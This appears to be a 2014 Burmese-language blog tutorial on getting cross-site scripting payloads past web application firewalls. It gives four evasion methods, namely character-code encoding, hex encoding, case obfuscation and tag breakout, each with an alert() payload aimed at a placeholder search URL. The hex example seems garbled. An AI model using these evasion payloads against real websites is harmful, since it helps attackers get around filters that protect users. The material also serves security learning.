February 8, 2014

Bypassing Technique for XSS

XSS အေၾကာင္းေတာ့ ေရးထားၿပီးၿပီ
ခုအခန္းက XSS မွာ WAF (web application firewall) ကို ဘယ္လို ေက်ာ္မလဲဆိုတာ ေပါ့။
အတိုဆံုး intro ၀င္ရမယ္ဆိုရင္ ေတာ့ XSS မွာလည္း SQL တုန္းကလို မ်ိဳး WAF ေတြေက်ာ္ရတာရွိတယ္ေပါ့ဗ်ာ
ဒီေတာ့ အဲလိုႀကံဳလာခဲ့ရင္ ဒီက်ဴတိုေလးဖတ္ၿပီးေျဖရွင္းၾကတာေပါ့
စေဖာမယ္
Method 1# Bypassing magic_quotes_gpc
magic_quotes_gpc=ON ထားတယ္ဆိုတာက php setting တစ္ခုဆိုပါေတာ့
သူက ဘာလုပ္လဲဆိုေတာ့ '(single quote),"(double quote) ေတြကို \(backslash) အျဖစ္ေျပာင္းလိုက္တယ္
ဆုိၾကပါစို႕ က်ေနာ္ တို႕က <script>alert("revolt!");</script> ကို run မယ္ဆိုပါေတာ့
<script>alert(\revolt!\)</script> ဒီလိုျဖစ္သြားတဲ့ အတြက္က်ေနာ္ တို႕ code ေတြ အလုပ္မလုပ္ေတာ့ဘူး
ဒီေတာ့ က်ေနာ္ တို႔က အဲဟာကို bypass လုပ္မယ္ <script> ၂ ခုၾကားထဲက စာေတြအားလံုးကို
ASCII value ေတြေျပာင္းရမယ္
String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 114, 101, 118, 111, 108, 116, 34, 41, 59) ဒီလိုပံုစံမ်ိဳးေပါ့
code အျပည့္အစံုက ေတာ့ဒီလိုျဖစ္သြားမယ္
http://www.site.com/search?param=<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 114, 101, 118, 111, 108, 116, 34, 41, 59)</script>
က်ေနာ္တို႕ASCII ကိုဘယ္လိုေျပာင္းမလဲ?
alert("revolt!");
ဒါက က်ေနာ္ လိုခ်င္တဲ့ value ဆိုပါေတာ့
Hack bar addon ေတာ့လိုပါတယ္
ေအာက္ကပံုေတြၾကည့္ရင္နားလည္မယ္ထင္ပါတယ္
 step:1
step:2
step:3

Method 2#Hex Encoding
ေနာက္တစ္နည္းကေတာ့ Code တစ္ခုလံုးကို hex encoded လုပ္ထားရင္လည္း WAF ေတြ filter မလုပ္နိုင္ပါဘူး
3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%72%65%76%6f%6c%74%22%29%3b%3e%2f%73%63%72%69%70%74%3e
ဒီလိုမ်ိဳးေပါ့
code အျပည့္အစံုက ဒီလုိျဖစ္သြားမယ္
http://www.site.com/search?param=3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%72%65%76%6f%6c%74%22%29%3b%3e%2f%73%63%72%69%70%74%3e

hex တန္ဖိုးကုိေတာ့ here သြားေျပာင္းနိုင္ပါတယ္

Method 3# Bypass using Obfuscation
တခါတေလ script ,alert တို႕ကို filter လုပ္ထားျပန္ေရာ
အဲ့ခါက် <ScRipt>ALeRt("revolt");</ScRipt> ဒီလိုလုပ္လိုက္မယ္
Obfuscation ဆိုတဲ့အတိုင္း ဇေ၀ဇ၀ါေတြလုပ္ျပစ္တာေပါ့(dictionary ဖတ္လိုက္တာ)

Method 4# Bypass using closing tag
ေနာက္ဆံုးနည္းေလးက ေတာ့
> ဒါေလးကို ေရွ႕မွာ ထည့္လိုက္တာဘူး
ဒီေနရာေတာ့ က်ေနာ္ လည္းသိပ္ေတာ့မရွင္းဘူး ထင္တာေျပာရမယ္ဆိုရင္ေတာ့
က်ေနာ္ ေက်ာင္းမွာ javascript သင္ရတုန္းက !--> လိုမ်ိးေလး ေတြ႕ဘူးတယ္
ဆရာမ ေျပာတာေတာ့ old browser ပိတ္တဲ႕ အဖြင့္ဆိုလားဘဲ ဟိဟိ တိဘူး
ေနာက္ဆံုးက်ေနာ္ တို႕ code ကဒီလိုျဖစ္သြားမယ္
http://www.site.com/search?param="><script>alert("revolt")</script>
ေက်းဇူးတင္ပါတယ္ ခညာ




No comments:

Post a Comment